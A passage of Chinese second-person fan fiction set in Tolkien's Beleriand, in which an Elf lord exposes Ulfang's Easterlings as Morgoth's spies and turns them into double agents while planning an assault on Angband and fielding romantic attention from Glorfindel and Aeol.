“我很高兴我们能够达成合作,希望你们能在这里度过美好时光。”你说着客套话,乌方起初见到你还有些紧张,但是聊了几句下来就发现你和其他精灵一样也那么容易轻信人类,这无疑给了他们可趁之机,看来魔苟斯交给他们的任务很快就能完成了。 在场的人类和精灵都对这个结果很满意,每一个都心怀鬼胎互相算计。 你站起身,“不过我还有件事情很好奇,我记得乌法斯特写信只邀请了他的父亲还有兄弟,怎么今天来的队伍还有别的精灵呢?”你的语气平淡,好像真的只是在询问一件无关紧要的小事而已。 乌方说:“这也在我们的计划之外,我们原本打算轻装上阵组成一支小队伍来拜访您,但卡兰希尔大人担心我们在路上会遇到危险,所以特意亲自护送我们,至于迈兹洛斯大人……他可能也是担心我们的安全吧。” 乌方一边说着一边观察你的表情,迈兹洛斯和卡兰希尔毕竟是你的哥哥,他总不可能当着你的面说他们的坏话,但考虑到你们的关系不太好,他说的每一句话都得要斟酌一番把握好这其中的度,这不是一件简单事。 你听乌方说完,脚步也缓慢地踱步到他们身后,他们没敢回头,仍然目视前方,虽说你们刚才聊得很愉快,可一旦你沉默下来,这气氛就会变得无比压抑,乌方也算是接触过不少精灵的人类了,他很少遇到过这种情况。 “看来你们和他们的关系很好。” 这句话让乌方都不知道该怎么接了,他该说是还是不是呢?他在内心揣摩你的真实意思,过了一会他才说:“但我认为您比他们更加成熟稳重。”他选择对你说好话。 你轻笑一声,“你过奖了,你的儿子乌法斯特也是,当初我救下他以后他就说了一大堆赞美的话,听得我都有些不好意思了。” 乌法斯特也干巴巴地笑了笑,“但我说的都是真心话。” 你拍了拍乌方的肩膀,“好了,我们的对话也到此为止,你们就先去享受下午茶吧。” 在你的示意下乌方和他的几个儿子离开偏厅,在走出一段路后乌方才说:“她真是个有些奇怪的精灵。”乌法斯特的观点和父亲出奇的一致,没错,从某种程度上来说你确实是个奇怪的精灵。 但不管怎么说,至少他们的计划已经成功了一半,接下来要做的就是等待精灵发动进攻,然后他们搅乱精灵的计划,从而让精灵元气大伤。 在他们离开以后你又在偏厅停留了一会,你没那么着急去见其他的客人,尤其是迈兹洛斯,看到他那副失落的模样你就觉得烦躁,既然他当初都已经拒绝你的提议了,为什么现在还要再摆出一副可怜兮兮的模样呢?是刻意在你面前装可怜吗? 过了好一会你才折返回到大厅,刚才聚集在大厅的精灵和人类都已经四散开在周围散步聊天,你没有马上找到迈兹洛斯和卡兰希尔,倒是看见了一脸气恼的埃欧尔,看到他那么生气,你心里反而好受了一些,你从埃欧尔身边路过,根本没搭理他,他主动开口,“你在找你的那两个哥哥?他们刚才也去找你了,看来你们正好错 过了。” 听他那语气你就知道他肯定是在迈兹洛斯或者是卡兰希尔那里受了气,现在正一肚子恼火呢。 不得不说,你还得感谢迈兹洛斯他们,正好能挫去埃欧尔的锐气。 你漫不经心地说:“那真是太感谢你了。” 埃欧尔扯了扯嘴角,“感谢?估计你现在心里高兴极了吧?你就是那么喜欢看见我被针对。” 唉,这话是他说的可不是你说的啊,你无奈地耸耸肩,“你要这么想我也没办法。” 埃欧尔原以为你会出于礼貌安慰几句的,结果没想到你真的顺着他的意思那么说了下去,他愣了愣,眼睛都微微睁大了,这幅样子显得他更加滑稽了,你说:“难不成你还等着我安慰你吗?” 被戳穿心思的埃欧尔气恼地移开视线,“像你这么性格恶劣的精灵注定不会有好结局的。”话是这么说的,但他也承认这就是气话,而且在他看来所谓的好结局就是你放弃领主的身份安心成为他的伴侣,并且在他的领地上生活。 埃欧尔的气话对你来说不痛不痒,你无所谓地从他身边走过,途经中心花园旁边的长廊时你看见了与迈兹洛斯和卡兰希尔并肩同行的格洛芬德尔,他们居然在心平气和地聊天,这可真是……你的眼睛应该没有出问题吧? 你眨了眨眼睛,是的,没有出问题,他们就是在聊天,而且那气氛看起来居然还算轻松愉快的,你不在的那段时间里都发生了什么事情?要知道在此之前迈兹洛斯和卡兰希尔对格洛芬德尔的态度冷淡疏离,几乎说不上几句话。 他们能聊到一块的原因很显而易见的就是因为你,迈兹洛斯问起格洛芬德尔你的近况,因为你都没给他写信,而且给凯勒巩的回信也都很简略,能少写几句话就少写几句,他们对你的生活一无所知,格洛芬德尔在这里生活了一段时间,他作为助手也接手了你的领地内的一部分事务,因此可以回答迈兹洛斯许多问题。 第132章 第132章“难道我就不能两个都…… 你朝着他们三个走去,最先发觉你靠近的是卡兰希尔,他说:“你手头的事情都解决完了?” “差不多解决了,你们这是在散步?”你说,表情若有所思,格洛芬德尔主动解释道:“是啊,而且他们也有一些事情正好想要询问我的。” “真稀奇,毕竟你们以前的关系没有那么好的。”你只是随口一说,但是在迈兹洛斯听来就像是别有深意,他还以为你这是在埋怨他,他便又说:“以前我们确实有做得不对的地方。” 你不想和迈兹洛斯说以前的事情,你怎么没看出来他原来这么喜欢叙旧呢? “好了,别说这些有的没的的话了,我的气早就消了。”你在拥有自己的领地后就忙着建设领地,哪里还有空计较过去的事情,而且再说了,迈兹洛斯既然没有将至高王的王冠交给芬国昐就意味着他也在犹豫中,你迟早会得到自己想要的东西的。 迈兹洛斯仔细观察你的表情,确认你说的是实话,你走在他们身边,说起自己日后的打算,你说:“之后我打算再次集结诺多精灵攻打安格班,在魔苟斯的军队还未完全壮大起来之前击溃他。” 你一上来就说这些,和他们刚才聊的话题格格不入,格洛芬德尔觉得你这一举动太冒险了,但一直这样下去也不是个办法,只要魔苟斯还存在一天,那么精灵就会生活在他的阴翳之下,而你又是一位与黑暗势不两立的精灵,自然不可能容忍魔苟斯的存在。 格洛芬德尔抿抿唇,在这个时候,这个场合他不太适合发表自己的看法,他保持沉默,卡兰希尔则说:“可以是可以……但具体的战略计划你有想过吗?” “既然我和你们说了这个提议,那么肯定早就已经设想过很多种可能了。” 迈兹洛斯也不再像以前那样一旦你提出某个有风险的建议就会忧心忡忡地担心这个担心那个,因为现在的你看上去就是个能够独当一面的精灵领主,不,不只是领主,假若你能成为精灵王那也肯定是一位合格的精灵王。 见迈兹洛斯不说话,卡兰希尔就说:“你不说两句吗?你在来的路上可不是那么沉默寡言的。” 卡兰希尔有意调节气氛,迈兹洛斯终于开口,“听上去似乎可行,但我们得要看过你的作战计划书以后才能下决定。” 你能够理解迈兹洛斯的谨慎,当天晚上你们在欢迎宴会进行到一半的时候就从宴会厅离开坐在会议室里,你把作战计划书放在迈兹洛斯手边,到场的只有迈兹洛斯和卡兰希尔,至于格洛芬德尔,现在应该还在宴会厅招待其他远道而来的诺多精灵,平日里你举办宴会也都是他在帮忙招待客人,这样为你节省了不少精力和时间。 “在你们手边的就是我初步拟定的作战计划书了。”说着,你又把一整块贝烈瑞安德大陆的地图展开平铺在长桌上,这张地图的细节做得很到位,甚至将每一条小河,每一条小路都标注出来了。 迈兹洛斯看了几眼作战计划书,他说:“你还要联合东来者一同攻打安格班?” “是的,虽然我已经知道了他们的真实目的和真实身份。”既然都已经决定和其他精灵联合了,你也就没必要藏着掖着了,你说:“那些东来者,尤其是乌多和他的儿子都是魔苟斯派出来安排在精灵之中的卧底。” 此话一出,迈兹洛斯和卡兰希尔的表情如出一辙,都是震惊之余带着疑惑,见到他们露出这表情,你忍不住叹了一口气,他们难道就完全不会怀疑这些突然出现的奇怪人类吗?难怪在历史上他们会被这群东来者狠狠背刺,甚至可以说芬国昐的死亡也是因为东来者的背叛而间接造成的。 卡兰希尔没有怀疑你所说的真实性,尽管他和乌多相处了有一段时间,他对这位人类首领还有几分欣赏,但你都这么说了,他也选择无条件相信你,不过他更好奇的是你又是如何发现的呢,他说:“是他的儿子乌法斯特在你面前露出了破绽吗?” 见卡兰希尔都已经给你找好了理由,你顺着他的意思说:“差不多是这样的。” “……但我还真的没想到他们居然选择追随魔苟斯,难道他们看不出来这家伙是个可怕的魔鬼吗?”卡兰希尔说,他又开始回忆自己在乌多面前说过的话,发现自己在无意之间似乎透露了一些机密,这就让他感觉到更加烦躁了,他说:“既然如此我们又为什么要和这些心怀鬼胎的人类合作呢?”在他看来直接把他们给清除了才是最简单粗暴的方法,现在留着他们也不过是给日后留下隐患。 迈兹洛斯比卡兰希尔平静许多,他说:“那你肯定也算到了这一步,那些东来者在这整个计划里扮演着什么角色?” 你坐了下来,“双面间谍的角色。” “你想要说服他们反水?”卡兰希尔还是不太相信这些东来者能够被你说服,只见你耸耸肩,摊手,“其实也不算是说服,直接威胁他们就好,反正现在他们父亲兄弟都在我手上,就凭他们这支小队伍还能逃出我的领地吗?就算他们真的逃到了边境线,加拉德瑞尔也会帮助我的。” “这么说来……”迈兹洛斯意识到你从一开始就已经都算好了,而他们的到来估计是在你意料之外的变数,你现在和他们说明这件事情也是为了避免他们之后搅局。 “这倒是可行。”卡兰希尔很赞同你的做法,如果换做是凯勒巩在场估计他都要直接起身替你做威胁的事情了。 简单介绍自己的想法,你接着又在地图上划出行进的路线图,毕竟你也不是的第一次攻打魔苟斯了,所以你制定这些路线图轻车熟路得很,讲得也很简洁明了,卡兰希尔和迈兹洛斯也差不多都明白了你的计划。 这个有些严肃的话题好像进入了尾声,会议室内的气氛逐渐缓和,卡兰希尔又说:“那个泰勒瑞精灵又是怎么回事?”他们刚才就和那个叫埃欧尔的精灵发生了冲突,如果不是在你领地上,那他们估计会好好教训一顿这个出言不逊的精灵,但都说了,这毕竟是你的领地,而且你看上去好像还挺重视他的。 你说:“他自称自己是辛葛王派过来的,我先前去加拉德瑞尔的领土时遇见了他,他在那里帮着监督工坊的武器锻造。” “辛葛派来的……”迈兹洛斯没想到那个常年躲在多瑞亚斯的辛葛王居然还会关心其他的诺多精灵,关心加拉德瑞尔倒是可以理解,但你呢?难道是因为你与加拉德瑞尔的领地相邻所以他才特意派出精灵来帮助你的吗? 卡兰希尔说话就比迈兹洛斯要直接许多,他说:“这个精灵可真不讨喜,得亏凯勒巩不在这里,否则你就得赶过来拉架了。” 相较之下还是格洛芬德尔他们更能接受一些,果然精灵的优点也需要比较之后才能看得出来,卡兰希尔为自己先前对格洛芬德尔心存偏见而感到内疚。 “他不光是来帮忙的,看起来他更像是以你的恋人自居。”迈兹洛斯说,这才是真正让他们不悦的地方,一个厌恶诺多的精灵居然还妄想追求你。 你不为所动,“我留着他也是因为他有用处。”虽说埃欧尔平日里说话不讨喜,但是他的业务能力确实一流,而且工作效率也很高,你自然不舍得赶走他。 卡兰希尔撇撇嘴,“那还不如留着格洛芬德尔呢。”刚才和格洛芬德尔聊了一路,他觉得对方也没那么讨厌了,甚至他们或许还能成为朋友呢。 “难道我就不能两个都留着吗?” 因为你说得实在是太理直气壮了,以至于卡兰希尔被你这话堵得哑口无言,愣愣地看了你两眼,最后才说:“好吧……好吧,你说的有道理。” 迈兹洛斯想起自己来这里是为了解决历史遗留问题,他一上来就又向你道歉,你都不知道听他说了多少道歉了,你摆摆手:“有话就直接说吧,不要再说这些道歉了。” “好,我想说的是,以前的我认为你还需要我们的保护,甚至不希望你离开我们身边,但事实证明我们的想法太过狭隘,我当初也不该对你说那些话。” 要是能直接跳过这么没意义 的铺垫就好了,你耐着性子听着,听到最后,你终于听到了自己想要的答案,他说:“我得承认,现在的你能够成为一位合格君主。” 你总算是露出真心实意的笑容,你说:“这么说来,你这次过来还带了至高王的王冠?” 迈兹洛斯顿了顿,好吧,你知道答案了,但他说的这话确实让你心情大好,你说:“算了,那你下次再带过来吧,等这场战争结束以后再给我也不迟。” 第133章 第133章所以你这么问,是在向…… 等你结束和迈兹洛斯还有卡兰希尔的谈话,时间都已经来到了后半夜,宴会进入尾声但还没有彻底结束,你走出会议室,也不知道格洛芬德尔在门外的长廊上等候了多久,见到你和其余两位费诺里安走了出来,他礼貌地对着他们点点头。 大概是之前和格洛芬德尔的相处还算愉快,所以他们这次看到格洛芬德尔来找你也没什么反应,卡兰希尔说:“看来你们还有别的话要聊,那我们就不打扰你们了。” 说完就和迈兹洛斯离开这里,格洛芬德尔又说:“希望我没有打扰到你。” 确实没有打扰到,因为往常在这个时间点你应该还会再看一会书,不过既然格洛芬德尔一副有话要和你说的样子,你就把今天的看书日程给取消了,“今天晚上的宴会如何?” 格洛芬德尔似是无意地说:“整体来说很不错,只不过总是会有那么一两个扫兴的宾客。”不用猜也知道他说的是谁,你好笑地说:“再过一阵子我就会让他回多瑞亚斯去的。” “这样真的好吗?”听你这么说格洛芬德尔反倒是纠结起来了,他虽然确实和埃欧尔合不来,但如果真要为此让你得罪他,那这反而是他的错了,“毕竟他是辛葛派来的。” “你真的觉得他是辛葛派来的吗?我怎么觉得这是他随意找的借口呢?”你和埃欧尔相处的时间更多,因此对他也更加了解,反正你是不相信他的说辞的。 被你这么一反问,格洛芬德尔陷入沉默,你说的确实有道理,但他不希望自己难得和你单独相处结果话题还是在谈论埃欧尔,就好像你一直在围着他转一样,因此他又说:“或许是的吧,但我今晚,至少是现在不想讨论他,他已经占据了你太多的时间,如果我们现在还要再聊他的话,这不是很奇怪吗?” 格洛芬德尔得承认自己现在就是很小气,但他想换做其他的精灵身处他现在这个局面也不会大度到哪里去的吧? 你品出他话里话外的酸气,你说:“是有一点奇怪。” 他也不想和你说一些太严肃沉重的话题,仿佛在到达这片大陆以后你们之间的话题不再如维林诺时期那么轻松,他牵起你的手,“我在这附近发现了一个隐秘的小湖。” “等一下,你这是在带我参观这里吗?有没有一种可能,我就是这里的领主呢?”你反握住他的手。 “那么你可以保证你了解这里的每一处地方吗?你知道各类植物的分布区域吗?你知道这里的秋季那些果树会结果子吗?” 格洛芬德尔说的这些事情在你看来都是一些无关紧要的小事,主要是你的精力有限,管理这块领地你不可能每件小事都亲力亲为,你撇撇嘴,“你这不是在钻牛角尖吗?” “不,我只是想说,在这片领土上还有很多美丽的风景在等待着你发现。” 他这是在教你如何享受生活吗?如果你真的是这个世界的精灵,或许会听从他的建议享受生活,但你打心底地认为自己不属于这里,对这个世界没有太多的归属感,更别提享受生活了。 或许是格洛芬德尔的表情太诚恳,也有可能是因为你当天晚上的心情不错,你答应了他的邀请。 “好吧,希望你的发现不会让我失望。”你与格洛芬德尔并肩同行,他的心情肉眼可见的愉悦,他轻轻地前后摇晃着你们牵着的手,这一举动在你看来有些幼稚,但鉴于现在这个时间点的格洛芬德尔确实也不能算是多成熟的精灵,你也就放任他去了。 就这样,你们穿过长廊,越过小径,最后来到被古树簇拥着的树林,夜晚的树林不算太安静,因为树木之间还在窃窃私语,树木聊天的语言冗长而繁杂,经常要说一大堆话才能表达简单的意思。 你和格洛芬德尔走入树林里,周围这些树木重复率最高的一句话就是。 “瞧啊,是一对精灵伴侣。” 既然你能听见,那说明格洛芬德尔也能听见,你侧过头,看见他的耳朵尖都泛着红,你说:“该不会这也是你计划好的吧?” “什么?不、当然不是这样的。”格洛芬德尔忙不迭地辩解,他可不想被你误当成心机叵测的精灵,就像埃欧尔那样。 耳边传来你的轻笑声,他这才发现你原来是故意那么调侃他的,他装出几分生气的模样,“弥尔洛斯领主,您不能这么对待一个诺多精灵,我们可是同族呀。” “是吗,看不出来,你的金发时常让我觉得你可能是凡雅的精灵。” 格洛芬德尔脸上佯装的生气都消失了,他有些着急地问:“原来你不喜欢金发吗?” 怪不得以前你的哥哥凯勒巩还要把自己那一头金发染成别的颜色,也难怪你对他好像兴致缺缺,原来一切的源头就是他的发色吗? 他暗自思索自己现在改变发色还来得及吗?唉,这时候他就开始羡慕自己的挚友埃克塞理安那一头黑发了。 “你的表情告诉我一旦我点头说是的,那么你就会尝试各种方法改变自己的发色。” 他表现得真的有那么明显吗?格洛芬德尔无措地眨了眨眼睛,你说:“实际上我觉得金发很美丽。”尤其是加拉德瑞尔的那一头金发。 格洛芬德尔半信半疑地问:“那为什么凯勒巩大人还要改变自己的发色呢?” 你耸耸肩,“他以为我更喜欢迈兹洛斯是因为他的发色,但实际上还不是凯勒巩自己的性格太咋咋呼呼的了。” 是的,格洛芬德尔也赞同这一点,不过在背后偷偷说其他费诺里安的坏话还是在格洛芬德尔的接受范围以外,虽然平日里凯勒巩也会针对格洛芬德尔,但都是一些无伤大雅的小事情,格洛芬德尔也能理解对方的用意,无非就是担心自己的妹妹被其他诺多追走了。 “我倒是觉得凯勒巩大人性格并不算坏。”格洛芬德尔说话一直都是这样挑不出错,你幽幽地说:“其实就算你说一些他的坏 话我也不会告诉他的。” “可我说的都是真心话呀。”他表现得很真诚,“他们都很关心你,只不过……他们关心你的方法让你感觉到了厌烦。” 话语间你们来到那个小巧的湖泊边,这和你当初刚刚来到这片大陆时格洛芬德尔带你去过的那片潭水有几分像,你说:“以前那片潭水还在吗?” 格洛芬德尔一下子就听明白了你在说什么,他说:“还在的,原来你还记得啊。”他原以为这种小事你早就抛之脑后了,你坐在湖水边,夜晚的湖水显得静谧美好,在月光的照耀下,湖水并非一团漆黑,你隐约捕捉到在湖底幅散出来的朦胧光辉,这恰好也是格洛芬德尔想要带你看的。 “我上次夜晚偶然间路过这里,忽然发现这一片沉睡在湖底的花丛,一连观察了好几天才发现它们白天的时候都处在休眠状态,一旦到了晚上,就会逐渐醒来,随着水流轻轻飘摇。” 他说了那么长一串话,你不知道自己是先询问他为什么晚上到处闲逛,还是问他这些花从何而来。 最后你什么都没说,只是静静地隔着水面凝视这一片与山茶花极为相似的花朵,但它们的花瓣浸泡在水中呈现出半透明的质感,偶尔有鱼游过,那微弱水流带动花瓣也轻轻地摇晃着。 “好像回到了我们还在维林诺的时候。”格洛芬德尔的声音在你耳边响起,你没做声,伸出手触碰被光辉侵染的水面,湖面倒映出你的面容,尽管你已经以弥尔洛斯的身份生活了近千年,但你偶尔也还会想起自己以前的那张脸。 你说:“如果要让你给出生命的意义你认为那是什么呢?” 格洛芬德尔在你身边坐下,时间仿佛倒流回你们刚到贝烈瑞安德大陆的时候,他学着你的样子张开手心贴着水面,“是爱与希望。” 非常标准的答案,这时候你就有些羡慕格洛芬德尔了,能够那么直截了当地给出答案,你却始终在这个问题上犹豫不决,你说:“我还没有找到答案。” “我想未来的某一天你总会找到的。”和他聊天有一个好处就是他会习惯性地站在你的角度思考问题,简单来说就是他考虑一切问题都从你的角度出发。 不得不说,这一点确实让你对他心存好感,你说:“等一切结束以后,你想举办怎样的婚礼?” “嗯、嗯?什么?”格洛芬德尔难得惊愕地说话都不利索了,他的眼睛微微睁大,好像你刚才说了什么惊天动地的大事,方才的气定神闲全都消失不见。 “我只是问一下而已。” “噢……”格洛芬德尔深吸一口气,你从来不会做这种无意义的假设,所以你这么问,是在向他求婚吗? “这个,我还没想好。” 第134章 第134章他有点后悔刚才提起格…… 虽然你只是随口一说,但看格洛芬德尔的样子似乎是放在心上了,你说:“刚才的话就当我没说过吧。” “你刚才说了那么多的话,到底是哪一句你让我当做没听见呢?”格洛芬德尔在这时候又开始钻牛角尖了,你盯着他的眼睛说:“你知道我指的是哪一句话的。” 格洛芬德尔移开视线,“可以暂时不要收回那句话吗?至少让我再开心一会。” 听上去有些可怜,你抿抿唇,“好吧。” 你们在湖边停留了一会,你询问格洛芬德尔难道就不想着回自己的领地看看吗,他给出的回答是埃克塞理安会暂时接管他的领地,他对这个朋友很放心,所以暂时还不需要回去。 你站起身,时间不早了,你明天还要通知其他的诺多精灵进行战争的前期准备,这些事情都没有那么简单,光是想想你就觉得头疼,虽然你绑定的是公主模拟器,但你在这个世界大部分时间似乎都在征战,干脆改名叫战争模拟器算了,你揉了揉太阳穴,格洛芬德尔又问:“还有什么事情困扰着你吗?” 非常多的事情困扰着你,三言两语都说不清,你叹了一口气,“没什么,你也该去休息了。” 你们沿着来时的路往回走,在某条长廊尽头分道扬镳,而站在暗处的埃欧尔将你和格洛芬德尔的言行举止收入眼底,他的眼神晦暗不明,他凝视着你的背影,直到你走出他的视线范围,他这才缓慢地收回目光。 隔天你早早地醒来,洗漱过后就在书房落座,给其他诺多精灵写信的任务就交给了卡兰希尔,对方还有些不情不愿,因为他觉得你让迈兹洛斯去负责后方补给的统筹调度,而给他的工作却是写信,这两者的差别太大了,这根本就是在瞧不起他。 但卡兰希尔也有个优点那就是直言不讳,他在接到这个任务的时候当即就表示自己应该做一些更有贡献度的,他说:“难道我在你眼里就只适合写信吗?” “难道在你眼里写信就是毫无贡献的事情吗?”你把问题又抛了回去,卡兰希尔被你这话给噎了一下,他握着羽毛笔,闷着头写了几封信。 你知道他心里还觉得不服气,但现在气氛那么安静,你就没想着打破这气氛。 卡兰希尔写信写到一半,他又说:“你果然还是更偏心迈兹洛斯吧?” “有时候我真的会怀疑你们的年龄真的比我大吗?”你反问。 “迈兹洛斯肯定很高兴,现在你和他的关系和解了,他也不至于每天都这么闷闷不乐的。”卡兰希尔写字的速度很快,没多久一个段落就写完了,而且他虽然写字速度很快,但是丝毫不妨碍他的字迹清隽,也难怪你会专门让他来写信。 你没搭理卡兰希尔的碎碎念,你正在查看迪莉娅给你整理的物资清点表,赢得一场战争最重要的还是后方的补给,尤其是打魔苟斯这种战争注定是一场持久战,这也是你经历了先前两个副本得出的经验之谈。 见你没回应,卡兰希尔就又说:“既然要攻打安格班,那势必要让其他费诺里安都来你这里开个会吧?” 他那是想要开会吗?他的重点分明就在于让所有费诺里安齐聚一堂吧?这你以为你没看出他的真实心思吗? 你说:“那是自然的。” 卡兰希尔逐渐接受了你给的任务,低头认真而安静地写信,一时间书房内只有你翻阅文件的声音以及卡兰希尔手中的羽毛笔书写发出的沙沙声响,打破这安静气氛的是突如其来的敲门声,你抬头对着门外的客人说:“请进。” 书房的门被打开,来者是埃欧尔,你猜他应该也听说了你即将攻打安格班的消息,你说:“有什么事吗?” 埃欧尔先看了看你,而后又瞥了卡兰希尔一眼,他说:“你要去攻打安格班?” 你用眼神示意他把书房的门关上,他照做了,然后走到你面前,自然地拉过一张椅子坐下,他一坐下卡兰希尔握着羽毛笔奋笔疾书的手就停了下来,卡兰希尔放下羽毛笔,用审视的眼神打量埃欧尔,心里想的是这个泰勒瑞精灵又想干什么?是来找茬的吗?还好他在场,也能给你撑腰。 “是的,看来你也已经听说了这个消息,所以呢,你来这里就是告诉我你知道了这个消息?”你一边看单子一边和埃欧尔聊天,堪称一心二用的典型例子。 “魔苟斯阴险狡诈,你们很可能会落入他的圈套。” “但先前不也是你说的,正是诺多精灵到来将黑暗也带到了这片土地上吗?我们现在所做的也只不过是在收拾残局而已。”当你翻出埃欧尔曾经说过的话时,他就又哑口无言了。 他当然知道这是你们诺多的错,只是……一旦这场战争打响,你很可能会死去,其他诺多的死对他来说不痛不痒,可他无法想象你的死亡,他得阻止你上战场,他说:“我确实说过这话,但你身为一个女精灵,本身就不适合上战场。” 话音还未完全落下,你的匕首就擦着埃欧尔的脸颊飞了过去,最后钉在墙壁上,匕首的尖端没入墙壁三分,你单手托腮,“如果刚才不是我有意控制角度,你现在应该正好被我的匕首刺中,所以这么看来,不适合上战场的应该是你才对,如果你是想要帮忙的话,我想你可以在战场后方帮忙,你觉得呢?” 埃欧尔的侧脸被你锋利的匕首划出一道浅浅的口子,鲜血一颗一颗地从伤口里渗出来,汇聚成一条细密的红线从他脸颊滑落。 一旁的卡兰希尔看了也非常解气,他忍不住笑了起来,附和道:“是啊,就凭你这点反应能力,我看你还是在后方老老实实地待着吧,要是真害怕倒不如躲回美丽安环带以内,安心地过你的小日子吧。” 卡兰希尔说话比你更加不客气,成功地让埃欧尔的脸色变得更差了,埃欧尔抬手擦去脸颊上的血珠,他听见你又说:“我希望你以后能留意别再说这些话了。” “你根本不知道自己在做什么。”埃欧尔说,他无法理解你的行为,不明白你为什么总是要做这些冒险的事情,难道你们诺多生性就是这么的不安分的么? “我很清楚自己在做什么,自己又想要什么,真正一头雾水的是你才对。”你懒得和埃欧尔浪费时间,你单刀直入地问:“所以你打算帮忙吗?” 如果他能帮忙的话或许你还能把他留下来,但如果他一直这样和你唱反调,那你就要把他打包丢会多瑞亚斯了,埃欧尔思考片刻,他说:“虽然我不喜欢你们诺多精灵的做法,但毕竟魔苟斯是所有精灵共同的敌人,那么我也理应加入你们的队伍。” 他这话说得倒很中听,你点点头,甚至还想让埃欧尔去说服辛葛也加入你们的对抗大军,但你想了想,就凭辛葛的性格,估计是不会被说动的,而且埃欧尔也不是什么擅长说服对方的精灵,他反而很擅长激怒对方。 因此你只是点点头,“那么就要麻烦你了,我等一下就把任务分配给你。” 埃欧尔出奇的安静,过了一会他又说:“但我有个条件,那就是等战争结束以后你得去我的领地做做客。” 真的只是做客那么简单吗?根据你对埃欧尔的了解,他的心思可没那么浅显,你说:“那就算了,我没有去你的领地做客的兴趣。” 反正多一个埃欧尔帮忙确实是一件好事,但就算少了他也不会对你造成什么影响,那句话怎么说的来着,哦对,你不干有的是人干,用在这个场合也格外合适。 埃欧尔沉默着接受你的婉拒,然后冷不丁地起身,走到墙边把你刚才甩出去的那把匕首拔下来,放回到你的手边,意味深长地说:“如果你真的想要置对方于死地,那么就应该在匕首上面动一些手脚。” 言下之意就是你应该在匕首上面涂一层毒。药,他在第一个副本的时候就是利用毒。药差点让格洛芬德尔魂归曼督斯殿堂,果然精灵的性格不会发生改变,他还是那么偏爱下。毒,你收回匕首,看着埃欧尔离去的背影,卡兰希尔说:“这家伙我真是越看他越讨厌,如果你真的要选一位伴侣,我都觉得格洛芬德尔更合适一些了。” 你把匕首擦干净,套入刀鞘内,又漫不经心地说:“你怎么知道我昨天已经和格洛芬德尔讨论过婚礼的事情了?” “嗯……婚礼,啊?什么?什么婚礼?”卡兰希尔一下子回过神来,他错愕地询问你刚才到底都说了什么,“你要和他结婚了?” 你撇撇嘴,“开玩笑的,就算真的要有婚礼,也得等到战争结束以后。” 卡兰希尔沉默了很久,他有点后悔刚才提起格洛芬德尔了。 第135章 第135章“我?我可没她那么幼…… 关于战前的部署正在有条不紊地进行中,不过除此之外你还有一件事情要做,这天你特意找来乌多和他的那些个儿子,对方还以为你又要给他们布置什么任务,乌多说:“您有何指示?” 你开门见山地说:“没什么,就是希望你们能对我甚至是对精灵忠心耿耿。” 乌多不解道:“我们难道做的还不够好吗?我可以认为您这是在怀疑我们的忠心吗?” 乌多站在他的儿子们前头,他自认为自己这段时间的表现已经足够让你满意的了,可你为什么还一副挑剔的姿态呢? 只见坐在办公桌后面的你挺直背脊,面色没有发生什么改变,就好像在谈论什么很平常的事情,但你一开口,说出的那句话无异于平地惊雷,你说:“当然啊,毕竟你们不都是魔苟斯派来的卧底吗?” 现场的气氛陷入僵滞,就连乌多和他的儿子们也变得僵硬,他们如出一辙地愣愣地看向你,像是没听明白你在说什么,你耐着性子又重复一遍,“你们没听清楚吗?我的意思是,我已经知道你们是魔苟斯的卧底了。” “您……有什么证据吗?”乌多强装镇定,他深吸一口气,“如果您拿不出证据的话,我可以认为您这是污蔑。” 你单手托腮,“从你的儿子乌法斯特突然出现在我的边境,而且还被半兽人追杀,那个时候我就开始怀疑了,而且你们与魔苟斯的通信我也都看在眼里,现在你们还向我索要证据?这已经不是证据不证据的事情了,而是你们接下来的回答关系到你们能否安全走出这扇门的事情。” 你提到的乌多与魔苟斯的通信你当然是没亲眼看到过的,不过这不妨碍你随口一说诈一诈他们,而看他们惊慌失措的神色你就知道自己猜对了,他们内心慌张得如同一团乱麻,还是乌多最先稳住心神,他说:“您……早就知道了?” “是啊,你们的伪装实在是拙劣,还是你们觉得精灵就是那么容易哄骗的呢?” 乌多垂在身侧的手在微微发抖,他似乎想要抽出腰间的宝剑,但是被你一句话给制止了,你说:“外面还有一整支精灵巡逻队,而且我的哥哥们也都在这里,一旦你们动了手,后果怎样你们是能猜到的。” 乌多不再有所动作,他说:“那您又为什么不直接杀了我们?” 发现卧底以后直接杀死对方应该是最干脆利落的做法了吧,可你又为什么…… “因为我还需要你们替我做一些事情,一些只有你们能做到的。”话语间你的目光扫过站在乌多身后的那几个儿子,你在为自己挑选一位人质, 你停顿了一会,最后还是指了指乌法斯特,被你点到的乌法斯特身体都在颤抖个不停,你继续说,“我希望你们能够将魔苟斯的情报一一向我汇报,同时你们还得要向魔苟斯传达我们错误的情报。” 简单来说就是当一个双面间谍,乌多一下子就明白了,但你也不可能就这么放他们离开的,果不其然的,乌多看见你点了点乌法斯特,然后说:“你的这位儿子就暂时留在我身边吧,虽然他是个人质但我也会好好对待他的,只要你们听话地完成我的任务。” 乌多不敢直视你的双眼,但他垂下头颅沉默了一会,似乎是在确认你说的是不是实话,过了许久,你才听见他开口,“我明白了,我会认真完成您给的任务的。” 这场威胁比你想象还要顺利许多,毕竟你还以为对方会竭尽全力反抗的,但是现在看来是你想的太多了,他们当初就是出于畏惧才会臣服于魔苟斯的,现在出现了你,一旦你的气势压过了魔苟斯,他们也会见风使舵般地改变自己的立场,也许在战时他们还能派上用场,可一旦战争结束了,你就得要好好考虑一下他们的去留问题了。 目送乌多他们一行人的离开,你在书房里又停留了一会,目前手头的事情大部分都已经解决得差不多了,你长呼一口气,脑袋靠在桌面上,放空思绪,眼神漫无目的地看向远方,也不知过了多久,你再次起身,去工坊查看武器制造情况。 后来几天你们又陆陆续续地开了几场会议,把剩下的问题一一解决,并且还不忘把乌多从魔苟斯那里套来的情报分享给其他诺多精灵,至于乌多传递到安格班的消息,都是你事先准备好的假消息。 在听说魔苟斯得到假情报以后将大部分兵力集中在西南方向而东南方向的防守变得格外薄弱的时候你就知道这场大战你们的胜算能有个六七成了。 来参加会议的除了芬国昐以外,还有他的那几个儿子女儿,这是你这段时间难得见到阿瑞蒂尔,她一等会议结束就找到你,“你现在已经是个出色的精灵领主了!” 她专程跑过来就是为了夸奖你啊,她的性格果然一点都没变,你说:“那么你呢,你有兴趣管理一片属于自己的领地吗?” 阿瑞蒂尔耸耸肩,她平日里看芬巩还有图尔巩为了领地内的事务忙得焦头烂额的,她暂时还没想着让自己也变成和他们一样,因此她说:“暂时还是算了吧,我还想再多游历几年呢,如果现在成为领主,那我就不能长时间离开自己的领地了。” 阿瑞蒂尔是个内心向往自由的精灵,不喜欢其他东西的束缚。 